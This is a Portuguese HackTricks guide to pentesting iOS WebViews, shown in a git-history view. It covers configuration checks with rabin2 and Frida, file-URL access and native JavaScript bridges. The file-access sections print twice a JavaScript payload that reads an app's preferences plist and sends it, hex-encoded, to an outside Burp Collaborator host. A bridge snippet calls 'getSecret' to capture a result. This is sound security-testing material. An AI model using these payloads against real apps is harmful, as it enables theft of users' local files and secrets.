hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

408 lines
27 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
## WebViews iOS
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Tipos de WebViews
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
WebViews são componentes de navegador in-app para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. Os iOS WebViews **suportam** a execução de **JavaScript** **por padrão**, portanto, a injeção de script e os ataques de Cross-Site Scripting podem afetá-los.
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** O UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. Não deve ser usado. **O JavaScript não pode ser desativado**.
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
* **JavaScript** é habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** de `WKWebView`, ele **pode ser completamente desativado**, impedindo todas as falhas de injeção de script.
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **impedir** que o JavaScript **abra novas janelas**, como pop-ups.
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são recuperados por meio de conexões criptografadas.
* `WKWebView` implementa renderização fora do processo, portanto, **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma experiência de visualização da web **generalizada**. Esses WebViews podem ser facilmente identificados, pois possuem um layout característico que inclui os seguintes elementos:
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
* Um campo de endereço somente leitura com um indicador de segurança.
* Um botão de ação ("**Compartilhar**").
* Um botão **Concluído**, botões de navegação para trás e para frente e um botão "Safari" para abrir a página diretamente no Safari.
2021-05-20 15:02:14 +00:00
2022-08-22 23:31:50 +00:00
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
* **O JavaScript não pode ser desativado** em `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
* `SFSafariViewController` também **compartilha cookies** e outros dados do site com o **Safari**.
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de preenchimento automático, histórico de navegação ou dados do site.
* De acordo com as Diretrizes de Revisão da App Store, os `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
## Descobrindo a Configuração dos WebViews
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
### Análise Estática
2021-05-20 15:02:14 +00:00
**UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
2023-06-06 18:56:34 +00:00
O `WKWebView` é um componente do iOS que permite exibir conteúdo da web em um aplicativo. Ele é mais seguro e eficiente do que o antigo `UIWebView`. No entanto, ainda é possível explorar vulnerabilidades em aplicativos que usam o `WKWebView`.
Algumas técnicas de teste de penetração que podem ser usadas em aplicativos que usam o `WKWebView` incluem:
- **Injeção de JavaScript**: é possível injetar código JavaScript malicioso em um aplicativo que usa o `WKWebView`. Isso pode ser usado para roubar informações do usuário ou executar ações maliciosas em nome do usuário.
- **Roubo de cookies**: os cookies armazenados pelo `WKWebView` podem ser acessados por um invasor. Isso pode permitir que o invasor assuma a identidade do usuário e acesse informações confidenciais.
- **Redirecionamento de URL**: um invasor pode redirecionar o usuário para um site malicioso usando o `WKWebView`. Isso pode ser usado para roubar informações do usuário ou instalar malware no dispositivo.
- **Vazamento de informações**: informações confidenciais podem ser vazadas por meio do `WKWebView`. Isso pode incluir informações de login, senhas e outras informações pessoais.
Para mitigar essas vulnerabilidades, os desenvolvedores devem implementar práticas de segurança recomendadas, como validar entradas de usuário, criptografar dados confidenciais e usar bibliotecas de terceiros confiáveis.
2021-05-20 15:02:14 +00:00
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
2023-06-06 18:56:34 +00:00
Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
2021-05-20 15:02:14 +00:00
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
2023-06-06 18:56:34 +00:00
#### Testando a Configuração do JavaScript
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
Para `WKWebView`s, como uma melhor prática, o JavaScript deve ser desativado, a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, pesquise no projeto por usos de `WKPreferences` e verifique se a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) está definida como `false`:
```
2021-05-20 15:02:14 +00:00
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
2023-06-06 18:56:34 +00:00
Se você tiver apenas o binário compilado, pode procurar por isso nele:
2021-05-20 15:02:14 +00:00
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
2023-06-06 18:56:34 +00:00
#### Testando OnlySecureContent
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
Ao contrário dos `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Usando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), é possível verificar se todos os recursos na página foram carregados por meio de conexões criptografadas com segurança.\
No binário compilado:
2021-05-20 15:02:14 +00:00
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
2023-06-06 18:56:34 +00:00
Também é possível pesquisar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto na [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
### Análise Dinâmica
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
É possível inspecionar o heap via `ObjC.choose()` para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades `javaScriptEnabled` e `hasonlysecurecontent`:
2021-05-20 15:02:14 +00:00
{% code title="webviews_inspector.js" %}
2021-05-20 15:02:14 +00:00
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
2023-06-06 18:56:34 +00:00
Carregue-o com:
2021-05-20 15:02:14 +00:00
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
```
2023-06-06 18:56:34 +00:00
## Manipulação de Protocolo WebView
2021-05-20 15:02:14 +00:00
2023-06-06 18:56:34 +00:00
Vários esquemas padrão estão disponíveis que estão sendo interpretados em um WebView no iOS, por exemplo:
2021-05-21 11:41:36 +00:00
* http(s)://
2021-05-21 11:41:36 +00:00
* file://
* tel://
2023-06-06 18:56:34 +00:00
WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.
2021-05-21 11:41:36 +00:00
2023-06-06 18:56:34 +00:00
### Carregamento de conteúdo WebView
2021-05-21 11:41:36 +00:00
2023-06-06 18:56:34 +00:00
* **UIWebView**: Ele pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
* **WKWebView**: Ele pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo da web. Tipicamente, os arquivos locais são carregados em combinação com métodos incluindo, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se ele contiver um diretório, todos os arquivos nesse **diretório serão disponibilizados para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
2021-05-21 11:41:36 +00:00
2023-06-06 18:56:34 +00:00
Se você tiver o código-fonte, pode procurar por esses métodos. Tendo o **binário compilado**, você também pode procurar por esses métodos:
2021-05-21 11:41:36 +00:00
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
2023-06-06 18:56:34 +00:00
### Acesso a Arquivos
2021-05-21 11:41:36 +00:00
2022-04-05 22:24:52 +00:00
* **UIWebView:**
2023-06-06 18:56:34 +00:00
* O esquema `file://` está sempre habilitado.
* O acesso a arquivos a partir de URLs `file://` está sempre habilitado.
* O acesso universal a partir de URLs `file://` está sempre habilitado.
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também é definido como `nil`, você verá que ela **não é definida como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Essa origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite o acesso a arquivos locais e a qualquer recurso da web.
2021-05-30 11:58:38 +00:00
{% tabs %}
{% tab title="exfiltrate_file" %}
2021-05-30 11:58:38 +00:00
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
{% endtab %}
{% endtabs %}
2021-05-21 11:41:36 +00:00
* **WKWebView**:
2023-06-06 18:56:34 +00:00
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` por padrão): permite que o JavaScript em execução no contexto de um URL do esquema `file://` acesse o conteúdo de outros URLs do esquema `file://`.
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` por padrão): permite que o JavaScript em execução no contexto de um URL do esquema `file://` acesse o conteúdo de qualquer origem.
2021-05-21 11:41:36 +00:00
2023-06-06 18:56:34 +00:00
Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.\
Além disso, você pode usar o seguinte script do frida para encontrar essas informações:
2021-05-21 11:41:36 +00:00
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
```bash
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
2023-06-06 18:56:34 +00:00
#### Extrair arquivos arbitrários
2021-05-30 11:19:45 +00:00
```javascript
2021-05-30 11:58:38 +00:00
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
2021-05-30 11:19:45 +00:00
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
2021-05-30 11:58:38 +00:00
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
2021-05-30 11:19:45 +00:00
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
2023-06-06 18:56:34 +00:00
## Métodos nativos expostos por meio de WebViews
2021-05-30 11:19:45 +00:00
2023-06-06 18:56:34 +00:00
Desde o iOS 7, a Apple introduziu APIs que permitem a **comunicação entre o tempo de execução JavaScript na WebView e os objetos nativos** Swift ou Objective-C.
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
* **JSContext**: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um `JSContext`, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript.
* **Protocolo JSExport**: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de `JSExport` são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
Observe que **apenas membros de classe definidos no protocolo `JSExport`** são tornados acessíveis ao código JavaScript.\
Procure por código que mapeia objetos nativos para o `JSContext` associado a uma WebView e analise que funcionalidade ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto às WebViews.\
Em Objective-C, o `JSContext` associado a uma `UIWebView` é obtido da seguinte forma:
2021-05-21 16:38:18 +00:00
```objectivec
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
2023-06-06 18:56:34 +00:00
O código JavaScript em um **`WKWebView` ainda pode enviar mensagens de volta para o aplicativo nativo, mas, em contraste com o `UIWebView`, não é possível fazer referência direta ao `JSContext`** de um `WKWebView`. Em vez disso, a comunicação é implementada usando um sistema de mensagens e usando a função `postMessage`, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Manipuladores de mensagens são configurados usando o método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
### Habilitando o JavascriptBridge
2021-05-21 16:38:18 +00:00
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
2023-06-06 18:56:34 +00:00
### Enviando Mensagem
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
Adicionar um manipulador de mensagem de script com o nome `"name"` (ou `"javaScriptBridge"` no exemplo acima) faz com que a função JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` seja definida em todos os quadros em todas as visualizações da web que usam o controlador de conteúdo do usuário. Pode então ser [usado a partir do arquivo HTML assim](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
2021-05-21 16:38:18 +00:00
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
2023-06-06 18:56:34 +00:00
Uma vez que a função nativa é executada, geralmente **executará algum JavaScript dentro da página da web** (veja `evaluateJavascript` abaixo) e você pode estar interessado em **substituir a função** que será executada para **roubar o resultado**.\
Por exemplo, no script abaixo, a função **`javascriptBridgeCallBack`** será executada com 2 parâmetros (a função chamada e o **resultado**). Se você controla o HTML que será carregado, pode criar um **alerta com o resultado** como:
```markup
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
2021-05-21 16:38:18 +00:00
```
2023-06-06 18:56:34 +00:00
### Função Chamada
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
A função chamada está localizada em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
2021-05-21 16:38:18 +00:00
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
```
2023-06-06 18:56:34 +00:00
### Testando
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
Para testar o envio de uma mensagem `postMessage` dentro de um aplicativo, você pode:
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
* Alterar a resposta do servidor (MitM)
* Realizar uma instrumentação dinâmica e injetar a carga útil JavaScript usando frameworks como Frida e as funções de avaliação JavaScript correspondentes disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
2021-05-21 16:38:18 +00:00
2023-06-06 18:56:34 +00:00
## Depuração de iOS WebViews
2021-05-29 21:42:03 +00:00
2023-06-06 18:56:34 +00:00
(Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
2021-05-29 21:42:03 +00:00
2023-06-06 18:56:34 +00:00
Nos webviews do iOS, as mensagens passadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar o conteúdo da web com as ferramentas de desenvolvedor do Safari, embora haja algumas limitações:
2021-05-29 21:42:03 +00:00
2023-06-06 18:56:34 +00:00
* Depurar webviews do iOS requer o Safari, portanto, seu computador de desenvolvimento deve estar executando o macOS.
* Você só pode depurar webviews em aplicativos carregados em seu dispositivo por meio do Xcode. Você não pode depurar webviews em aplicativos instalados por meio da App Store ou do Apple Configurator.
2021-05-29 21:42:03 +00:00
2023-06-06 18:56:34 +00:00
Com essas limitações em mente, aqui estão as etapas para depurar remotamente um webview no iOS:
2021-05-29 21:42:03 +00:00
2023-06-06 18:56:34 +00:00
* Primeiro, ative o Safari Web Inspector em seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado** e ativando a opção _Web Inspector_.
2021-05-29 21:42:03 +00:00
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
2023-06-06 18:56:34 +00:00
* Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. Na janela de preferências que aparece, clique na guia _Avançado_ e, em seguida, habilite a opção _Mostrar menu Desenvolver_ na parte inferior. Depois de fazer isso, você pode fechar a janela de preferências.
2021-05-29 21:42:03 +00:00
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
2023-06-06 18:56:34 +00:00
* Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
* No Safari em seu computador de desenvolvimento, clique em _Desenvolver_ na barra de menus e passe o mouse sobre a opção suspensa que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução em seu dispositivo iOS.
2021-05-29 21:42:03 +00:00
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
2023-06-06 18:56:34 +00:00
* Clique na opção suspensa para o webview que deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
2021-05-29 21:42:03 +00:00
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
2023-06-06 18:56:34 +00:00
## Referências
2021-05-21 11:41:36 +00:00
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>